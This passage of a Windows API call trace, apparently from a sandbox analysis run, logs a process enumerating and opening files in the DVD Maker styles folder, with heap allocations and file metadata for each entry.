(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.324] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0069.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.327] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0069.327] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1ad30 [0069.327] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1ad30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1ad30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1ad30) returned 1 [0069.327] NtClose (Handle=0x170) returned 0x0 [0069.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.330] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.330] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a668 [0069.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18438 [0069.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.330] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0069.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a688 [0069.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18540 [0069.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0069.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.343] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0069.344] GetLastError () returned 0x12 [0069.344] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.344] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 